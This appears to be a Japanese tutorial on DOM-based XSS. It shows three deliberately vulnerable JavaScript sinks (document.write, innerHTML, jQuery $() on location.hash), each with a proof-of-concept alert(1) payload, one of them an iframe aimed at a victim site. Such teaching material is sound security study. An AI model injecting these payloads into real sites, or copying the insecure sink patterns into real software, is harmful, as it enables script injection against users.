XSSのパターンを記します。
【DOM】location.searchをdocument.write()
location.searchはURLのクエリー文字列です。
つまり、'?'
の後の URL 引数を含む文字列です。
一般的な例として、Google検索で「XSS」と検索したときのloacation.search
[URL]
https://www.google.com/search?q=XSS&oq=XSS&gs_lcrp=EgZjaHJvbWUyDwg
[location.search]
?q=XSS&oq=XSS&gs_lcrp=EgZjaHJvbWUyDwg
そしてdocument.writeは画面出力するメソッドです。
URLで指定したパラメータ(location.search)を下記のようにdocument.writeで画面表示するコードはDOM XSSの脆弱性を含んでいます。
アプリケーションは?colorId=Blueのようなパラメータを期待していますが、?colorId=<script>alert(1)</script>のようにスクリプトをパラメータの中に挿入できます。
var colors = ["Bule","Yellow","Red"];
var color = (new URLSearchParams(window.location.search)).get('colorId');
document.write('<select name="colorId">');
if(color) {
document.write('<option selected>'+color+'</option>');
}
for(var i=0;i<colors.length;i++) {
if(colors[i] === color) {
continue;
}
document.write('<option>'+colors[i]+'</option>');
}
document.write('</select>');
DOM Invaterを使って検知する方法も別記事で紹介しています。
ペイロード例
?colorId=<script>alert(1)</script>
【DOM】location.searchをinnerHTML
今度はinnerHTMLで画面出力するパターンです。
innerHTMLはdocument.write()と違い<script></script>で挿入しても発火しません。
それは、セキュリティーの観点からHTML Living Standardで定められています。
<section class=blog-header>
<h1><span>0 search results for '</span><span id="searchMessage"></span><span>'</span> </h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
<hr>
</section>
ペイロード例
?search=<img src=1 onerror=alert(1)>
【DOM】location.hashをJQueryのセレクタで指定$()
今度はJQueryのセレクタ$()で出力するパターンです。
$()で指定した内容もHTMLとして評価されます。
<script>
$(window).on('hashchange', function(){
var post = $(decodeURIComponent(window.location.hash.slice(1)));
if (post) post.get(0).scrollIntoView();
});
</script>
また上記はhashchangeをトリガーにしています。
例えばダミーサイトを用意して<iframe>を使ってhashchangeを発火させることができます。
ペイロード例
<iframe src="https://victim.com/#" onload="this.src+='<img src=1 onerror=alert(1)>'"> test</iframe>